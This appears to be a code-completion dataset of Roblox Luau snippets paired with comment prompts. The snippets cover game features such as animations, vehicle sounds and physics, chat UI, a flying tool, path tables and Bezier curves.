prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
-- a: amplitud
-- p: period
|
local function outElastic(t, b, c, d, a, p)
if t == 0 then return b end
t = t / d
if t == 1 then return b + c end
if not p then p = d * 0.3 end
local s
if not a or a < abs(c) then
a = c
s = p / 4
else
s = p / (2 * pi) * asin(c/a)
end
return a * pow(2, -10 * t) * sin((t * d - s) * (2 * pi) / p) + c + b
end
|
--[=[
Removes a saving callback from the data store stage
@param callback function
]=]
|
function DataStoreStage:RemoveSavingCallback(callback)
assert(type(callback) == "function", "Bad callback")
local index = table.find(self._savingCallbacks, callback)
if index then
table.remove(self._savingCallbacks, index)
end
end
|
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
|
function onRunning(speed)
if speed>0.01 then
playAnimation("walk", 0.1, Humanoid)
pose = "Running"
else
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
end
end
function onDied()
pose = "Dead"
end
function onJumping()
playAnimation("jump", 0.1, Humanoid)
jumpAnimTime = jumpAnimDuration
pose = "Jumping"
end
local lastTick = 0
function move(time)
local amplitude = 1
local frequency = 1
local deltaTime = time - lastTick
lastTick = time
local climbFudge = 0
local setAngles = false
if (jumpAnimTime > 0) then
jumpAnimTime = jumpAnimTime - deltaTime
end
if (setAngles) then
local desiredAngle = amplitude * math.sin(time * frequency)
RightShoulder:SetDesiredAngle(desiredAngle + climbFudge)
LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)
RightHip:SetDesiredAngle(-desiredAngle)
LeftHip:SetDesiredAngle(-desiredAngle)
end
end
|
-- End of Editable Values
|
local car = script.Parent.Car.Value
local values = script.Parent.Values
local tune = require(car["A-Chassis Tune"])
local event = car:WaitForChild('BoostSounds')
local newsounds={}
local bst=values.Boost
local throt=values.Throttle
local pbst=-1000
local function create(car,info)
for k=0,3 do
local ns=Instance.new('Sound')
ns.Parent=car.Body.Engine
if k==1 then
ns.Name='Turbo'
ns.SoundId='rbxassetid://'..info[1]
ns.Volume=0
ns.RollOffMaxDistance=info[2]
ns.RollOffMinDistance=info[3]
ns.Looped=true
elseif k==2 then
ns.Name='Super'
ns.SoundId='rbxassetid://'..info[4]
ns.Volume=0
ns.RollOffMaxDistance=info[5]
ns.RollOffMinDistance=info[6]
ns.Looped=true
elseif k==3 then
ns.Name='Bov'
ns.SoundId='rbxassetid://'..info[7]
ns.Volume=0
ns.RollOffMaxDistance=info[8]
ns.RollOffMinDistance=info[9]
ns.Looped=false
end
ns:Play()
table.insert(newsounds,k,ns)
end
end
local function update(sounds,info)
if newsounds[1].Volume~=info[1] then
newsounds[1].Volume=info[1]
newsounds[1].Pitch=info[2]
newsounds[2].Volume=info[3]
newsounds[2].Pitch=info[4]
newsounds[3].Volume=info[5]
newsounds[3].Pitch=info[6]
end
end
local function play()
for _,s in pairs(newsounds) do s:Play() end
end
local function stop()
for _,s in pairs(newsounds) do s:Stop() end
end
local function turboupd(x)
info[1]=TurboVol*math.floor(values.BoostTurbo.Value)
info[2]=TurboSetPitch+(TurboPitchIncrease*values.BoostTurbo.Value)
info[5]=BovVol*math.floor(values.BoostTurbo.Value)
info[6]=BovSetPitch+(BovPitchIncrease*values.BoostTurbo.Value)
end
local function superupd(x)
info[3]=SuperVol*values.BoostSuper.Value
info[4]=SuperSetPitch+(SuperPitchIncrease*values.BoostSuper.Value)
end
local function twinupd(x)
info[1]=TurboVol*math.floor(values.BoostTurbo.Value)
info[2]=TurboSetPitch+(TurboPitchIncrease*values.BoostTurbo.Value)
info[3]=SuperVol*values.BoostSuper.Value
info[4]=SuperSetPitch+(SuperPitchIncrease*values.BoostSuper.Value)
info[5]=BovVol*math.floor(values.BoostTurbo.Value)
info[6]=BovSetPitch+(BovPitchIncrease*values.BoostTurbo.Value)
end
info = {TurboId,TurboRollOffMax,TurboRollOffMin,SuperId,SuperRollOffMax,SuperRollOffMin,BovId,BovRollOffMax,BovRollOffMin}
if FE==true then
event:FireServer(car,'create',info)
if values.Parent.IsOn.Value==true then
event:FireServer(car,'play')
else event:FireServer(car,'stop')
end
elseif FE==false then
create(car,info)
if values.Parent.IsOn.Value==true then
play()
else
stop()
end
end
if BovId>0 then
throt.Changed:Connect(function()
local pbst=bst.Value
wait(.1)
if bst.Value+BovSensitivity<pbst then
if FE==true then
event:FireServer(car,'bovplay')
else
newsounds[3]:Play()
end
end
end)
end
if tune.Turbochargers>0 and tune.Superchargers==0 then
info[3]=0
info[4]=0
bst.Changed:Connect(function(x)
turboupd()
if FE==true then
event:FireServer(car,'update',nil,info)
else
update(newsounds,info)
end
end)
elseif tune.Superchargers>0 and tune.Turbochargers==0 then
info[1]=0
info[2]=0
info[5]=0
info[6]=0
bst.Changed:Connect(function(x)
superupd(x)
if FE==true then
event:FireServer(car,'update',nil,info)
else
update(newsounds,info)
end
end)
elseif tune.Turbochargers>0 and tune.Superchargers>0 then
bst.Changed:Connect(function(x)
twinupd(x)
if FE==true then
event:FireServer(car,'update',nil,info)
else
update(newsounds,info)
end
end)
end
values.Parent.IsOn.Changed:Connect(function(v)
if v==false and FE==true then event:FireServer(car,'stop')
elseif v==true and FE==true then event:FireServer(car,'play')
elseif v==false and FE==false then stop()
elseif v==true and FE==false then play() end
end)
|
--[[
Navigates to the next page.
]]
|
modules.nextPage = function(self)
return function(pageSize)
if self.isAnimating then
return
end
local nextIndex = self.state.selectedIndex + pageSize
if nextIndex > #self.props.images then
nextIndex -= #self.props.images
end
self.setCurrentIndex(nextIndex, -pageSize)
end
end
|
--- FUNCTIONS ---
|
script.Parent.ChildAdded:Connect(function(child)
local list = {}
if child:IsA("BasePart") then table.insert(list, child) end
for _,descendant in pairs(child:GetDescendants()) do
if descendant:IsA("BasePart") then
table.insert(list, descendant)
end
end
repeat task.wait() until child.Anchored == false
task.wait(1)
for _,item in pairs(list) do
tween_service:Create(item, TweenInfo.new(3), {Transparency = 1}):Play()
end
task.wait(3)
child:Destroy()
end)
|
--// Rest of code after waiting for correct events.
|
local UserInputService = game:GetService("UserInputService")
local RunService = game:GetService("RunService")
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
while not LocalPlayer do
Players.ChildAdded:wait()
LocalPlayer = Players.LocalPlayer
end
local canChat = true
local ChatDisplayOrder = 6
if ChatSettings.ScreenGuiDisplayOrder ~= nil then
ChatDisplayOrder = ChatSettings.ScreenGuiDisplayOrder
end
local PlayerGui = LocalPlayer:WaitForChild("PlayerGui")
local GuiParent = Instance.new("ScreenGui")
GuiParent.Name = "Chat"
GuiParent.ResetOnSpawn = false
GuiParent.DisplayOrder = ChatDisplayOrder
GuiParent.Parent = PlayerGui
local DidFirstChannelsLoads = false
local modulesFolder = script
local moduleChatWindow = require(modulesFolder:WaitForChild("ChatWindow"))
local moduleChatBar = require(modulesFolder:WaitForChild("ChatBar"))
local moduleChannelsBar = require(modulesFolder:WaitForChild("ChannelsBar"))
local moduleMessageLabelCreator = require(modulesFolder:WaitForChild("MessageLabelCreator"))
local moduleMessageLogDisplay = require(modulesFolder:WaitForChild("MessageLogDisplay"))
local moduleChatChannel = require(modulesFolder:WaitForChild("ChatChannel"))
local moduleCommandProcessor = require(modulesFolder:WaitForChild("CommandProcessor"))
local ChatWindow = moduleChatWindow.new()
local ChannelsBar = moduleChannelsBar.new()
local MessageLogDisplay = moduleMessageLogDisplay.new()
local CommandProcessor = moduleCommandProcessor.new()
local ChatBar = moduleChatBar.new(CommandProcessor, ChatWindow)
ChatWindow:CreateGuiObjects(GuiParent)
ChatWindow:RegisterChatBar(ChatBar)
ChatWindow:RegisterChannelsBar(ChannelsBar)
ChatWindow:RegisterMessageLogDisplay(MessageLogDisplay)
MessageCreatorUtil:RegisterChatWindow(ChatWindow)
local MessageSender = require(modulesFolder:WaitForChild("MessageSender"))
MessageSender:RegisterSayMessageFunction(EventFolder.SayMessageRequest)
if (UserInputService.TouchEnabled) then
ChatBar:SetTextLabelText('Tap here to chat')
else
ChatBar:SetTextLabelText('To chat click here or press "/" key')
end
spawn(function()
local CurveUtil = require(modulesFolder:WaitForChild("CurveUtil"))
local animationFps = ChatSettings.ChatAnimationFPS or 20.0
local updateWaitTime = 1.0 / animationFps
local lastTick = tick()
while true do
local currentTick = tick()
local tickDelta = currentTick - lastTick
local dtScale = CurveUtil:DeltaTimeToTimescale(tickDelta)
if dtScale ~= 0 then
ChatWindow:Update(dtScale)
end
lastTick = currentTick
wait(updateWaitTime)
end
end)
|
--Brake.InputChanged:Connect(TouchBrake)
|
local function TouchHandbrake(input, GPE)
if input.UserInputState == Enum.UserInputState.Begin then
_PBrake = not _PBrake
elseif input.UserInputState == Enum.UserInputState.End then
if car.DriveSeat.Velocity.Magnitude>5 then
_PBrake = false
end
end
end
Handbrake.InputBegan:Connect(TouchHandbrake)
Handbrake.InputEnded:Connect(TouchHandbrake)
|
-- Decompiled with the Synapse X Luau decompiler.
|
local l__Instance_new__1 = Instance.new;
return function(p1)
return function(p2, ...)
local v1 = l__Instance_new__1(p1);
local l__Parent__2 = p2.Parent;
if l__Parent__2 then
p2.Parent = nil;
end;
local l__next__3 = next;
local v4 = nil;
while true do
local v5 = nil;
local v6 = nil;
v6, v5 = l__next__3(p2, v4);
if not v6 then
break;
end;
v4 = v6;
if type(v6) == "number" then
v5.Parent = v1;
else
v1[v6] = v5;
end;
end;
if l__Parent__2 then
v1.Parent = l__Parent__2;
end;
if not ... then
return v1;
end;
local v7 = { ... };
for v8 = 1, #v7 do
local v9 = v1:Clone();
local l__next__10 = next;
local v11 = v7[v8];
local v12 = nil;
while true do
local v13 = nil;
local v14 = nil;
v14, v13 = l__next__10(v11, v12);
if not v14 then
break;
end;
v12 = v14;
if type(v14) == "number" then
v13.Parent = v9;
else
v9[v14] = v13;
end;
end;
v9.Parent = not v9.Parent or l__Parent__2;
v7[v8] = v9;
end;
return v1, unpack(v7);
end;
end;
|
--Precalculated paths
|
local t,f,n=true,false,{}
local r={
[58]={{19,20,58},t},
[49]={{19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49},t},
[16]={n,f},
[19]={{19},t},
[59]={{19,20,57,56,30,41,59},t},
[63]={{19,63},t},
[34]={{19,20,57,56,30,41,39,35,34},t},
[21]={{19,20,21},t},
[48]={{19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48},t},
[27]={{19,20,57,56,30,41,39,35,34,32,31,29,28,27},t},
[14]={n,f},
[31]={{19,20,57,56,30,41,39,35,34,32,31},t},
[56]={{19,20,57,56},t},
[29]={{19,20,57,56,30,41,39,35,34,32,31,29},t},
[13]={n,f},
[47]={{19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47},t},
[12]={n,f},
[45]={{19,20,57,56,30,41,39,35,34,32,31,29,28,44,45},t},
[57]={{19,20,57},t},
[36]={{19,20,57,56,30,41,39,35,37,36},t},
[25]={{19,20,57,56,30,41,39,35,34,32,31,29,28,27,26,25},t},
[71]={{19,20,57,56,30,41,59,61,71},t},
[20]={{19,20},t},
[60]={{19,20,57,56,30,41,60},t},
[8]={n,f},
[4]={n,f},
[75]={{19,20,57,56,30,41,59,61,71,72,76,73,75},t},
[22]={{19,20,21,22},t},
[74]={{19,20,57,56,30,41,59,61,71,72,76,73,74},t},
[62]={{19,63,62},t},
[1]={n,f},
[6]={n,f},
[11]={n,f},
[15]={n,f},
[37]={{19,20,57,56,30,41,39,35,37},t},
[2]={n,f},
[35]={{19,20,57,56,30,41,39,35},t},
[53]={{19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53},t},
[73]={{19,20,57,56,30,41,59,61,71,72,76,73},t},
[72]={{19,20,57,56,30,41,59,61,71,72},t},
[33]={{19,20,57,56,30,41,39,35,37,36,33},t},
[69]={{19,20,57,56,30,41,60,69},t},
[65]={{19,66,64,65},t},
[26]={{19,20,57,56,30,41,39,35,34,32,31,29,28,27,26},t},
[68]={{19,66,64,67,68},t},
[76]={{19,20,57,56,30,41,59,61,71,72,76},t},
[50]={{19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,50},t},
[66]={{19,66},t},
[10]={n,f},
[24]={{19,20,57,56,30,41,39,35,34,32,31,29,28,27,26,25,24},t},
[23]={{19,63,62,23},t},
[44]={{19,20,57,56,30,41,39,35,34,32,31,29,28,44},t},
[39]={{19,20,57,56,30,41,39},t},
[32]={{19,20,57,56,30,41,39,35,34,32},t},
[3]={n,f},
[30]={{19,20,57,56,30},t},
[51]={{19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,50,51},t},
[18]={n,f},
[67]={{19,66,64,67},t},
[61]={{19,20,57,56,30,41,59,61},t},
[55]={{19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54,55},t},
[46]={{19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,46},t},
[42]={{19,20,57,56,30,41,39,40,38,42},t},
[40]={{19,20,57,56,30,41,39,40},t},
[52]={{19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52},t},
[54]={{19,20,57,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54},t},
[43]={n,f},
[7]={n,f},
[9]={n,f},
[41]={{19,20,57,56,30,41},t},
[17]={n,f},
[38]={{19,20,57,56,30,41,39,40,38},t},
[28]={{19,20,57,56,30,41,39,35,34,32,31,29,28},t},
[5]={n,f},
[64]={{19,66,64},t},
}
return r
|
-- How many studs the ai can wander on the x and z axis in studs
| |
--Rescripted by Luckymaxer
--Made by Stickmasterluke
--// Fixed for R15 avatars by StarWars
-- Fixed by Stickmasterluke to support mobile
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
RunService = game:GetService("RunService")
AnimationTracks = {}
LocalObjects = {}
Animations = {
CoastingPose = {Animation = Tool:WaitForChild("CoastingPose"), FadeTime = 0.5, Weight = nil, Speed = nil},
LeftTurn = {Animation = Tool:WaitForChild("LeftTurn"), FadeTime = 0.5, Weight = nil, Speed = nil},
RightTurn = {Animation = Tool:WaitForChild("RightTurn"), FadeTime = 0.5, Weight = nil, Speed = nil},
R15CoastingPose = {Animation = Tool:WaitForChild("R15CoastingPose"), FadeTime = 0.5, Weight = nil, Speed = nil},
R15LeftTurn = {Animation = Tool:WaitForChild("R15LeftTurn"), FadeTime = 0.5, Weight = nil, Speed = nil},
R15RightTurn = {Animation = Tool:WaitForChild("R15RightTurn"), FadeTime = 0.5, Weight = nil, Speed = nil},
}
Sounds = {
Wind = Handle:WaitForChild("Wind"),
}
Controls = {
Forward = {
Value = 0,
DesiredValue = -1,
Keys = {
Key = "w",
ByteKey = 17
}
},
Backward = {
Value = 0,
DesiredValue = 1,
Keys = {
Key = "s",
ByteKey = 18
}
},
Left = {
Value = 0,
DesiredValue = -1,
Keys = {
Key = "a",
ByteKey = 20
}
},
Right = {
Value = 0,
DesiredValue = 1,
Keys = {
Key = "d",
ByteKey = 19
}
}
}
Speed = {
Current = 2,
Max = 50
}
Inertia = (1 - (Speed.Current / Speed.Max))
Momentum = Vector3.new(0, 0, 0)
LastMomentum = Vector3.new(0, 0, 0)
TotalMomentum = 0
LastTilt = 0
LastAnimUsed = nil
Rate = (1 / 60)
Flying = false
ServerControl = Tool:WaitForChild("ServerControl")
ClientControl = Tool:WaitForChild("ClientControl")
ToolEquipped = false
function RemoveFlyStuff()
if CheckIfAlive() then
Humanoid.AutoRotate = true
Humanoid.PlatformStand = false
end
LastAnimUsed = nil
for i, v in pairs(Torso:GetChildren()) do
if v:IsA("BodyGyro") or v:IsA("BodyVelocity") then
Debris:AddItem(v, 0)
end
end
for i, v in pairs(Animations) do
SetAnimation("StopAnimation", v)
end
spawn(function()
InvokeServer("ToggleSound", false)
end)
end
function Clamp(Number, Min, Max)
return math.max(math.min(Max, Number), Min)
end
function Fly()
if not ToolEquipped or not CheckIfAlive() then
Flying = false
else
Flying = not Flying
end
if Flying and ToolEquipped and CheckIfAlive() then
local Cloud = InvokeServer("Fly", {Flying = true})
Momentum = (Torso.Velocity + (Torso.CFrame.lookVector * 10) + Vector3.new(0, 3, 0))
Momentum = Vector3.new(Clamp(Momentum.X, -15, 15), Clamp(Momentum.Y, -15, 15), Clamp(Momentum.Z, -15, 15))
local FlightGyro = Instance.new("BodyGyro")
FlightGyro.Name = "FlightGyro"
FlightGyro.P = (10 ^ 4.5)
FlightGyro.maxTorque = Vector3.new(FlightGyro.P, FlightGyro.P, FlightGyro.P)
FlightGyro.cframe = Torso.CFrame
FlightGyro.Parent = Torso
local FlightVelocity = Instance.new("BodyVelocity")
FlightVelocity.Name = "FlightVelocity"
FlightVelocity.velocity = Vector3.new(0, 0, 0)
FlightVelocity.P = (10 ^ 4)
FlightVelocity.maxForce = (Vector3.new(1, 1, 1) * (10 ^ 6))
FlightVelocity.Parent = Torso
for i, v in pairs(Controls) do
Controls[i].Value = 0
end
Humanoid.AutoRotate = false
Humanoid.PlatformStand = true
spawn(function()
InvokeServer("ToggleSound", true)
end)
while Flying and CheckIfAlive() and ToolEquipped do
--print(Humanoid.MoveDirection)
local Camera = game:GetService("Workspace").CurrentCamera
local CoordinateFrame = Camera.CoordinateFrame
local Movement = Vector3.new(0, 0, 0)
--[[local ControlVector = Vector3.new((Controls.Left.Value + Controls.Right.Value), (math.abs(Controls.Forward.Value) * 0.2), (Controls.Forward.Value + Controls.Backward.Value))
if ControlVector.Magnitude > 0 then
Movement = CoordinateFrame:vectorToWorldSpace(ControlVector.Unit * Speed.Current)
end]]
if Humanoid.MoveDirection.magnitude > 0 then
local localControlVector = CFrame.new(Vector3.new(0,0,0),CoordinateFrame.lookVector*Vector3.new(1,0,1)):vectorToObjectSpace(Humanoid.MoveDirection+Vector3.new(0,.2,0))
Movement = CoordinateFrame:vectorToWorldSpace(localControlVector.Unit * Speed.Current)
end
Momentum = ((Momentum * Inertia) + Movement)
TotalMomentum = math.min(Momentum.Magnitude, Speed.Max)
local MomentumPercent = (TotalMomentum / Speed.Max)
if TotalMomentum > Speed.Max then
TotalMomentum = Speed.Max
end
if Cloud then
local Mesh = Cloud:FindFirstChild("Mesh")
if Mesh then
spawn(function()
InvokeServer("SetMesh", MomentumPercent)
end)
end
end
spawn(function()
InvokeServer("SetSound", MomentumPercent)
end)
local Tilt = ((Momentum * Vector3.new(1, 0, 1)).unit:Cross(((LastMomentum * Vector3.new(1, 0, 1)).unit))).y
if tostring(Tilt) == "-1.#IND" or tostring(Tilt) == "1.#IND" or Tilt == math.huge or Tilt == -math.huge or tostring(0 / 0) == tostring(Tilt) then
Tilt = 0
end
local AbsoluteTilt = math.abs(Tilt)
if AbsoluteTilt > 0.06 or AbsoluteTilt < 0.0001 then
if math.abs(LastTilt) > 0.0001 then
Tilt = (LastTilt * 0.96)
else
Tilt = 0
end
else
Tilt = ((LastTilt * 0.9) + (Tilt * 0.1))
end
LastTilt = Tilt
if Tilt > 0.01 then
local Animation = Animations.RightTurn
if Humanoid.RigType == Enum.HumanoidRigType.R15 then
Animation = Animations.R15RightTurn
end
if LastAnimUsed ~= Animation then
SetAnimation("StopAnimation", LastAnimUsed)
SetAnimation("PlayAnimation", Animation)
LastAnimUsed = Animation
end
elseif Tilt < -0.01 then
local Animation = Animations.LeftTurn
if Humanoid.RigType == Enum.HumanoidRigType.R15 then
Animation = Animations.R15LeftTurn
end
if LastAnimUsed ~= Animation then
SetAnimation("StopAnimation", LastAnimUsed)
SetAnimation("PlayAnimation", Animation)
LastAnimUsed = Animation
end
else
local Animation = Animations.CoastingPose
if Humanoid.RigType == Enum.HumanoidRigType.R15 then
Animation = Animations.R15CoastingPose
end
if LastAnimUsed ~= Animation then
SetAnimation("StopAnimation", LastAnimUsed)
SetAnimation("PlayAnimation", Animation)
LastAnimUsed = Animation
end
end
if TotalMomentum < 0.5 then
Momentum = Vector3.new(0, 0, 0)
TotalMomentum = 0
FlightGyro.cframe = (CFrame.new(Vector3.new(0,0,0), (Camera.CoordinateFrame.lookVector * Vector3.new(1, 0, 1))) * CFrame.Angles(0, -(math.pi / 2), 0))
else
FlightGyro.cframe = (CFrame.new(Vector3.new(0,0,0), Momentum) * CFrame.Angles(0, -(math.pi / 2), 0) * CFrame.Angles((Tilt * -20),0,0))
end
FlightVelocity.velocity = Momentum
local GravityDelta = ((((Momentum * Vector3.new(0, 1, 0)) - Vector3.new(0, -Speed.Max, 0)).magnitude / Speed.Max) * 0.5)
if GravityDelta > 0.45 then
end
LastMomentum = Momentum
wait(Rate)
end
if CheckIfAlive() then
Humanoid.AutoRotate = true
Humanoid.PlatformStand = false
Humanoid:ChangeState(Enum.HumanoidStateType.Freefall)
end
local Cloud = InvokeServer("Fly", {Flying = false})
RemoveFlyStuff()
Flying = false
end
end
function SetAnimation(mode, value)
if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then
for i, v in pairs(AnimationTracks) do
if v.Animation == value.Animation then
v.AnimationTrack:Stop(value.FadeTime)
table.remove(AnimationTracks, i)
end
end
local AnimationTrack = Humanoid:LoadAnimation(value.Animation)
table.insert(AnimationTracks, {Animation = value.Animation, AnimationTrack = AnimationTrack})
AnimationTrack:Play(value.FadeTime, value.Weight, value.Speed)
elseif mode == "StopAnimation" and value then
for i, v in pairs(AnimationTracks) do
if v.Animation == value.Animation then
v.AnimationTrack:Stop(value.FadeTime)
table.remove(AnimationTracks, i)
end
end
end
end
function DisableJump(Boolean)
if PreventJump then
PreventJump:Disconnect()
end
if Boolean then
PreventJump = Humanoid.Changed:Connect(function(Property)
if Property == "Jump" then
Humanoid.Jump = false
end
end)
end
end
function CheckIfAlive()
return (((Player and Player.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Head and Head.Parent and Torso and Torso.Parent) and true) or false)
end
function Activated()
Spawn(Fly)
end
function Equipped(Mouse)
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
Head = Character:FindFirstChild("Head")
Torso = Character:FindFirstChild('HumanoidRootPart')
if not CheckIfAlive() then
return
end
PlayerMouse = Player:GetMouse()
Mouse.KeyDown:Connect(function(Key)
OnClientInvoke("KeyPress", {Key = Key, Down = true})
end)
Mouse.KeyUp:Connect(function(Key)
OnClientInvoke("KeyPress", {Key = Key, Down = false})
end)
Spawn(function()
RemoveFlyStuff()
end)
ToolEquipped = true
end
function Unequipped()
LocalObjects = {}
RemoveFlyStuff()
for i, v in pairs(AnimationTracks) do
if v and v.AnimationTrack then
v.AnimationTrack:Stop()
end
end
for i, v in pairs({PreventJump, ObjectLocalTransparencyModifier}) do
if v then
v:Disconnect()
end
end
AnimationTracks = {}
ToolEquipped = false
end
function InvokeServer(mode, value)
local ServerRtrurn
pcall(function()
ServerReturn = ServerControl:InvokeServer(mode, value)
end)
return ServerReturn
end
function OnClientInvoke(mode, value)
if not ToolEquipped or not CheckIfAlive() then
return
end
if mode == "PlayAnimation" then
SetAnimation("PlayAnimation", value)
elseif mode == "StopAnimation" then
SetAnimation("StopAnimation", value)
elseif mode == "PlaySound" and value then
value:Play()
elseif mode == "StopSound" and value then
value:Stop()
elseif mode == "MousePosition" then
return {Position = PlayerMouse.Hit.p, Target = PlayerMouse.Target}
elseif mode == "DisableJump" and value then
DisableJump(value)
elseif mode == "SetLocalTransparencyModifier" and value then
pcall(function()
local ObjectFound = false
for i, v in pairs(LocalObjects) do
if v == value then
ObjectFound = true
end
end
if not ObjectFound then
table.insert(LocalObjects, value)
if ObjectLocalTransparencyModifier then
ObjectLocalTransparencyModifier:Disconnect()
end
ObjectLocalTransparencyModifier = RunService.RenderStepped:Connect(function()
for i, v in pairs(LocalObjects) do
if v.Object and v.Object.Parent then
local CurrentTransparency = v.Object.LocalTransparencyModifier
if ((not v.AutoUpdate and (CurrentTransparency == 1 or CurrentTransparency == 0)) or v.AutoUpdate) then
v.Object.LocalTransparencyModifier = v.Transparency
end
else
table.remove(LocalObjects, i)
end
end
end)
end
end)
elseif mode == "KeyPress" and value then
local Key = value.Key
local ByteKey = string.byte(Key)
local Down = value.Down
for i, v in pairs(Controls) do
if v.Keys.Key == Key or v.Keys.ByteKey == ByteKey then
v.Value = ((Down and v.DesiredValue) or 0)
end
end
end
end
ClientControl.OnClientInvoke = OnClientInvoke
Tool.Activated:Connect(Activated)
Tool.Equipped:Connect(Equipped)
Tool.Unequipped:Connect(Unequipped)
|
--[[
Handles case when configuration changes in server - we'd have to reset some of the items in order for it to make
sense.
]]
|
return function(contexts, services, remoteEvents)
return function(config)
local playerSpots = contexts.playerSpots
-- Reset all player spots
for userId, playerSpot in pairs(playerSpots) do
playerSpot:cleanup()
playerSpots[userId] = PlayerSpots.new(config.quotaPerPlayer)
end
-- Re-run setup code
contexts.canvases = {}
setupServer(contexts, services, remoteEvents)
end
end
|
--------| Variables |--------
|
local trackedStats = {
Floors = function(player)
if not _L.Variables.UIDData then
return 1
end
local data = _L.Variables.UIDData[player.Name]
if not data then
return 1
end
return #data.Floor
end,
Cash = function(player)
local save = _L.Saving.Get(player)
if not save then
return 0
end
return save.Cash
end
}
|
--[[Vehicle Weight]]
|
--Determine Current Mass
local mass=0
function getMass(p)
for i,v in pairs(p:GetChildren())do
if v:IsA("BasePart") and not v.Massless then
mass=mass+v:GetMass()
end
getMass(v)
end
end
getMass(car)
--Apply Vehicle Weight
if mass<_Tune.Weight/2.205/8 then
--Calculate Weight Distribution
local centerF = Vector3.new()
local centerR = Vector3.new()
local countF = 0
local countR = 0
for i,v in pairs(Drive) do
if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
centerF = centerF+v.CFrame.p
countF = countF+1
else
centerR = centerR+v.CFrame.p
countR = countR+1
end
end
centerF = centerF/countF
centerR = centerR/countR
local center = centerR:Lerp(centerF, _Tune.WeightDist/100)
--Create Weight Brick
local weightB = Instance.new("Part",car.Body)
weightB.Name = "#Weight"
weightB.Anchored = true
weightB.CanCollide = false
weightB.BrickColor = BrickColor.new("Really black")
weightB.TopSurface = Enum.SurfaceType.Smooth
weightB.BottomSurface = Enum.SurfaceType.Smooth
if _Tune.WBVisible then
weightB.Transparency = .75
else
weightB.Transparency = 1
end
weightB.Size = Vector3.new(_Tune.WeightBSize[1],_Tune.WeightBSize[2],_Tune.WeightBSize[3])
local tdensity=(_Tune.Weight/2.205-mass/8)/(weightB.Size.x*weightB.Size.y*weightB.Size.z*1000/61024)/1000
weightB.CustomPhysicalProperties = PhysicalProperties.new(tdensity,0,0,0,0)
--Real life mass in kg minus existing roblox mass converted to kg, divided by volume of the weight brick in cubic meters, divided by the density of water
weightB.CFrame=(car.DriveSeat.CFrame-car.DriveSeat.Position+center)*CFrame.new(0,_Tune.CGHeight,0)
--Density Cap
if weightB.CustomPhysicalProperties.Density>=2 then
warn( "\n\t [AC6C V".._BuildVersion.."]: Density too high for specified volume."
.."\n\t Current Density:\t"..math.ceil(tdensity)
.."\n\t Max Density:\t"..math.ceil(weightB.CustomPhysicalProperties.Density)
.."\n\t Increase weight brick size to compensate.")
end
else
--Existing Weight Is Too Massive
warn( "\n\t [AC6C V".._BuildVersion.."]: Mass too high for specified weight."
.."\n\t Target Mass:\t"..math.ceil((_Tune.Weight*2.205)*8)
.."\n\t Current Mass:\t"..math.ceil(mass)
.."\n\t Reduce part size or axle density to achieve desired weight.")
end
local flipG = Instance.new("BodyGyro",car.DriveSeat)
flipG.Name = "Flip"
flipG.D = 0
flipG.MaxTorque = Vector3.new(0,0,0)
flipG.P = 0
|
-- game.Players.LocalPlayer.PlayerGui.PunchGui.FKeyThing.LocalScript.Enabled = true
|
end)
script.Parent.Unequipped:Connect(function()
game.Players.LocalPlayer.PlayerGui.PunchGui.Enabled = false
end)
function Handler(BindName, InputState)
if script.Parent.Parent.Parent.Name == 'Workspace' then
if deb == false then
deb = true
game.ReplicatedStorage.Parry:FireServer(script.Parent)
wait(2)
deb = false
end
end
end
game:GetService('ContextActionService'):BindAction('RunBind', Handler, true, Enum.KeyCode.F, Enum.KeyCode.ButtonL2)
|
--Rear
|
local axle = Instance.new("Part", bike.RearSection)
axle.Anchored = true
axle.CanCollide = false
if _Tune.AxlesVisible or _Tune.Debug then axle.Transparency = .75 else axle.Transparency = 1 end
axle.Name = "Axle"
axle.Position = rWheel.Position
axle.Orientation = rWheel.Orientation
axle.Size = Vector3.new(_Tune.AxleSize,_Tune.AxleSize,_Tune.AxleSize)
axle.CustomPhysicalProperties = PhysicalProperties.new(_Tune.AxleDensity,0,0,100,100)
local rgyro=Instance.new("BodyGyro",axle)
rgyro.Name="Stabilizer"
rgyro.MaxTorque=Vector3.new(1,0,1)
rgyro.P=0
rgyro.D=_Tune.RGyroDamp
|
-- ROBLOX NOTE: no upstream
|
local CurrentModule = script.Parent
local Packages = CurrentModule.Parent
local LuauPolyfill = require(Packages.LuauPolyfill)
local Error = LuauPolyfill.Error
local function getFileSystemService()
local success, result = pcall(function()
return _G.__MOCK_FILE_SYSTEM__ or game:GetService("FileSystemService")
end)
if not success then
error(Error.new("Attempting to save snapshots in an environment where FileSystemService is inaccessible."))
end
return result
end
return getFileSystemService
|
-- Variables for the zombie, its humanoid, and destination
|
local zombie = hroot
local destination
|
-- returns the Vector3 point at the given t value, where t is relative to the length of the Bezier curve
-- does not work if the bezier does not have any points attached to it
|
function Bezier:CalculatePositionRelativeToLength(t: number): Vector3
-- check if t is a number between 0 and 1
if type(t) ~= "number" then
error("Bezier:CalculatePositionRelativeToLength() only accepts a number, got " .. tostring(t) .. "!")
end
-- start algorithm to calculate position in bezier
local points = self.Points
local numPoints = #points
-- check if there is at least 1 point
if numPoints > 0 then
-- important values
local length = self.Length
local lengthIndeces = self.LengthIndeces
local iterations = self.LengthIterations
local points = self:GetAllPoints()
